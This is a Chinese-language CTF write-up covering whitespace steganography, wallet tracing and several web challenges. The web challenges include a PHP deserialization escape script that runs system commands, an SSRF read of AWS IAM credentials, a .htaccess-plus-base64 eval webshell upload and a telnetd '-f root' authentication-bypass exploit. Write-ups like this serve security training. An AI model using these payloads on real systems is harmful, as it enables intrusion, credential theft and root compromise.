太菜了,只做了部分Web和Misc题

【Misc】AA哥的JAVA

【解题思路】

一开始以为是修复Java文件,运行,就能输出flag,修复之后,输出的flag是错的。后来问了一下ai,原来是二进制解码,把Java文件中间的空格换成0,Tab换成1,然后二进制转字符,获得flag

【解题步骤】

1
中间全是空格和Tab,自己一个一个复制粘贴太麻烦了,用ai帮忙写了一下脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
import re
import sys

def decode_whitespace(file_path):
    try:
        with open(file_path, 'r', encoding='utf-8') as f:
            # 按行读取,保持行号信息方便调试
            lines = f.readlines()
    except FileNotFoundError:
        print(f"❌ 错误: 找不到文件 {file_path}")
        return

    # 正则:匹配 前后都有非空白字符 的中间空白区域
    # 这样可以避开 行首缩进 和 行尾换行符
    regex_pattern = re.compile(r'(?<=\S)([ \t]+)(?=\S)')

    decoded_chars = []
   
    print(f"[*] 正在分析文件: {file_path} (共 {len(lines)} 行)")
    print("-" * 40)

    for line_num, line in enumerate(lines, 1):
        # 查找当前行是否有符合条件的“中间空白”
        matches = regex_pattern.findall(line)

        for gap in matches:
            # 过滤策略:忽略正常的单个空格(Java代码中单词间的正常分隔)
            if len(gap) == 1 and gap == ' ':
                continue
           
            # 转换逻辑:Tab -> 1, Space -> 0
            # 提示:如果解出来乱码,尝试互换 '1' 和 '0'
            chunk_bin = ""
            for char in gap:
                if char == '\t':
                    chunk_bin += '1'
                elif char == ' ':
                    chunk_bin += '0'
           
            # 将二进制转换为字符
            if chunk_bin:
                try:
                    char_code = int(chunk_bin, 2)
                    decoded_char = chr(char_code)
                    decoded_chars.append(decoded_char)
                   
                    # 调试:可以看到每一行解出了什么
                    # print(f"行 {line_num}: {chunk_bin} -> {decoded_char} ({char_code})")
                   
                except ValueError:
                    print(f"[!] 行 {line_num} 转换失败: {chunk_bin}")
                    decoded_chars.append("?")

    final_flag = "".join(decoded_chars)

    print(f"[*] 提取完成,共找到 {len(decoded_chars)} 个隐藏字符")
    print("-" * 40)
    print(f"🚩 解码结果 (Flag): \n{final_flag}")
    print("-" * 40)

if __name__ == "__main__":
    filename = "AA.java"
    if len(sys.argv) > 1:
        filename = sys.argv[1]
   
    decode_whitespace(filename)

获得flag
pofp{HuAm1_tru1y_c4nn0t_m4ke_sense_0f_J4v4}

【Forensics】谁动了我的钱包

【解题思路】

跟着out一路找,最后的账户肯定都是in

【解题步骤】

  1. 先进0x3Cbf1FA1EB6b76e520a67699dFebfaf7Ca33b13E
  2. 再进0x0Ce829352d1Cf6e3dbBef7b31aA43a8467D98dEA
  3. 再进0x536a92088eB6c486440A77AAa81e5C7C59334903
  4. 再进0x529F3E609d09dF558A598785f421867447113C2b
  5. 再进0x3D89ce589dD293b4d00F3368b54F6f26D851Bd81
  6. 再进0xFF7C350e70879D04A13bb2d8D77B60e603b7DB72
    2
    flag就是POFP{0xFF7C350e70879D04A13bb2d8D77B60e603b7DB72}

【Web】babypop

【解题思路】

我们要从反序列化点unserialize($safe_data)开始,构造一条通往eval的路径:
起点:LogService类的__destruct()方法。当对象销毁时,它会检查$this->handler是否有close方法。
跳板: 将LogService$this->handler设置为FileStream对象。
终点:FileStreamclose()方法。如果$this->mode === 'debug',它就会执行eval($this->content)
POP 链路径:
LogService::__destruct() -> FileStream::close() -> eval()
代码中存在一个关键的“清理”函数:str_replace("hacker", "", $input);
这会导致序列化后的字符串长度发生变化。由于hacker(6个字符)被替换为空(0个字符),序列化字符串中的长度标识(L)会大于实际字符长度。这使得我们可以利用“空位”来吞掉原本的序列化数据,并伪造我们自己的对象。
【解题步骤】
先构造一个满足eval条件的LogService序列化串:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
class FileStream {
    private $path = "1";
    private $mode = "debug";
    public $content = "system('cat /flag');";
}

class LogService {
    protected $handler;
    public function __construct() {
        $this->handler = new FileStream();
    }
}

$target = new LogService();
echo serialize($target);

生成O:10:"LogService":1:{s:10:"*handler";O:10:"FileStream":3:{s:16:"FileStreampath";s:1:"1";s:16:"FileStreammode";s:5:"debug";s:7:"content";s:20:"system('cat /flag');";}}
由于protectedprivate属性会有不可见字符%00,实际编写时需处理
接着我们要让username属性吞掉后面的内容。
通过user输入大量的hacker。每个hacker消失,会多出 6 个字符的控制权。
由于手动操作误差较大,我们使用ai生成一个脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
import requests
import re

# 1. 配置目标 URL
target_url = "http://ctf.furryctf.com:36555/"

# 2. 构造嵌套的恶意对象序列化字符串
# 使用 S 标识符配合 \00 代替不可见字符,防止传输丢失
# 逻辑:LogService -> handler (FileStream) -> close() -> eval
payload_obj = (
    'O:10:"LogService":1:{S:10:"\\00*\\00handler";'
    'O:10:"FileStream":3:{S:16:"\\00FileStream\\00path";s:1:"1";'
    'S:16:"\\00FileStream\\00mode";s:5:"debug";'
    's:7:"content";s:20:"system(\'cat /flag\');";}}'
)

# 3. 构造 Bio 部分
# 我们需要闭合 username 的引号,并注入 preference 属性
# ";s:3:"bio";s:1:"a";s:10:"preference";[PAYLOAD]}
bio_injection = '";s:3:"bio";s:1:"a";s:10:"preference";' + payload_obj + '}'

# 4. 计算逃逸长度
# 序列化后的结构是 s:L:"[username]";s:3:"bio";s:M:"[bio内容]"
# 我们要吞掉的部分是从 username 的结尾引号开始,到 bio 内容的开头引号:
# 也就是这个字符串: ";s:3:"bio";s:长度:"
# 这里的“长度”取决于 bio_injection 的总字节数

bio_len = len(bio_injection)
# 构造被吞噬的中间件结构 (假设 bio 长度是 3 位数,如 245)
padding_str = f'";s:3:"bio";s:{bio_len}:"'
target_swallow_len = len(padding_str)

# 寻找 6 的倍数进行对齐
# 如果 target_swallow_len 不是 6 的倍数,我们在 bio 前面补空格
needed_padding = (6 - (target_swallow_len % 6)) % 6
final_bio = (" " * needed_padding) + bio_injection
final_swallow_len = target_swallow_len + needed_padding

# 5. 计算需要多少个 hacker
hacker_count = final_swallow_len // 6
final_user = "hacker" * hacker_count

# 6. 发送攻击请求
data = {
    "user": final_user,
    "bio": final_bio
}

print(f"[*] 正在尝试逃逸...")
print(f"[*] 吞噬长度: {final_swallow_len}")
print(f"[*] Hacker 数量: {hacker_count}")
print(f"[*] 发送 Bio Payload: {final_bio[:50]}...")

try:
    response = requests.post(target_url, data=data)
    print("[+] 响应内容:")
    print(response.text)
except Exception as e:
    print(f"[-] 请求失败: {e}")

获得flag
POFP{6b2bb1ee-2e0f-42b4-9dad-2ae0991c00bc}

【Web】CCPreview

【解题思路】

AWS EC2 实例有一个特殊的链路本地地址169.254.169.254,用于提供实例的元数据(Metadata)。如果在 EC2 实例上运行的 Web 服务存在 SSRF 漏洞(即允许用户控制服务器发出的 HTTP 请求),攻击者就可以访问这个地址来获取敏感信息。

【解题步骤】

尝试http://169.254.169.254/latest/meta-data/
3
发现/iam,需要通过获取 IAM 临时凭证来访问 AWS 资源(通常是 S3 存储桶)获取 Flag
获取EC2 实例绑定的IAM角色http://169.254.169.254/latest/meta-data/iam/security-credentials/
4
发现/admin-role
获取flag
http://169.254.169.254/latest/meta-data/iam/security-credentials/admin-role
5
POFP{999b6c55-e809-48b2-9d79-756520ddb349}

【Web】ezmd5

【解题思路】

PHP弱比较,使用数组绕过

【解题步骤】

6
Post传入user[]=1&&pass[]=2
获得flag
POFP{ada612ba-b4d1-4e5d-a695-cef1b5ca2a36}

【Web】SSO Drive

【解题思路】

源码泄露审计 -> SSO 认证绕过 -> 绕过严格的文件上传限制 -> 利用陈旧的远程管理服务 RCE

【解题步骤】

7
通过Wappalyzer发现是Apache PHP
访问index.php.bak,发现有备用文件
8
strcmp 数组绕过
POST传入username=admin&password[]=绕过登录
9
10

进入dashboard.php,文件上传,试了一下,有白名单waf,大概只能上传jpg,png,.htaccess
由于是Apache文件上传,而且允许上传配置文件
猜测应该上传图片马
经测试,后端含有后端含有mine类型
于是我们上传.htaccess

1
2
3
4
#define width 1337
#define height 1337
AddType application/x-httpd-php .png
php_value auto_append_file "php://filter/read=convert.base64-decode/resource=shell.png"

在上传假图片shell.png

1
2
3
#define width 13337
#define height 1337
PD9waHAgQGV2YWwoJF9QT1NUWycxMjM0J10pOz8+

11
12
使用蚁剑连接
/start.sh发现所有flag
13
Flag3需要提权
经测试,发现需要利用xinetd,是CVE-2026-24061
通过蚁剑创建php文件,并运行
14

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
<?php
$ip = "127.0.0.1";
$port = 23;

$fp = fsockopen($ip, $port, $errno, $errstr, 10);
if (!$fp) die("[-] Connect failed\n");
stream_set_blocking($fp, 0);

echo "[+] Connected! Starting intelligent negotiation...\n";

$payload_sent = false;
$start = time();

while (time() - $start < 10) {
    $data = fread($fp, 4096);
    if ($data) {
        // 逐字节解析协议,确保不漏掉任何一个请求
        $len = strlen($data);
        for ($i = 0; $i < $len; $i++) {
            // 找到 IAC (0xFF)
            if (ord($data[$i]) == 0xFF) {
                // 确保后面有足够的字节
                if ($i + 2 < $len) {
                    $cmd = ord($data[$i+1]);
                    $opt = ord($data[$i+2]);
                   
                    // 如果服务端发送 DO (0xFD)
                    if ($cmd == 0xFD) {
                        if ($opt == 0x27) {
                            // 针对 NEW_ENVIRON (27),回复 WILL (FB)
                            fwrite($fp, "\xff\xfb\x27");
                            echo "[+] Reply: WILL NEW_ENVIRON\n";
                        } else {
                            // 针对其他所有 (TSPEED 20, TTYPE 18等),回复 WONT (FC)
                            fwrite($fp, "\xff\xfc" . chr($opt));
                            echo "[+] Reply: WONT Option $opt\n";
                        }
                        $i += 2; // 跳过已处理的指令
                    }
                    // 如果服务端发送 WILL (0xFB) -> 我们回复 DONT (0xFE)
                    elseif ($cmd == 0xFB) {
                        fwrite($fp, "\xff\xfe" . chr($opt));
                        $i += 2;
                    }
                }
            }
        }
       
        // 打印非协议文本 (Flag可能会在这里)
        $text = preg_replace("/[^\x20-\x7E]/", "", $data);
        if ($text) echo "Output: $text\n";
       
        if (strpos($data, "flag") !== false || strpos($data, "GZCTF") !== false) {
             exit("\n[!!!] FLAG FOUND [!!!]\n");
        }

        // 发送 Payload
        if (!$payload_sent) {
            // 稍等一下让协商生效
            usleep(200000);
            echo "[!] Injecting CVE-2026-24061 Payload...\n";
           
            // 使用 USERVAR (0x03) 格式,这是 Linux telnetd 最认的格式
            // IAC SB NEW_ENVIRON IS USERVAR "USER" VALUE "-f root" IAC SE
            $exploit = "\xff\xfa\x27\x00\x03USER\x01-f root\xff\xf0";
            fwrite($fp, $exploit);
           
            // 紧接着发送命令
            usleep(100000);
            fwrite($fp, "\n/usr/bin/id; /bin/cat /root/flag3;\n");
            $payload_sent = true;
        }
    }
    usleep(50000);
}
?>

在蚁剑终端运行php 1.php
15
找到第三段flag
-5cf8e09d78a7}
和前两段拼在一块
16
POFP{5610a036-
17
aa89-45bb-aa29
获得flag
POFP{5610a036-aa89-45bb-aa29-5cf8e09d78a7}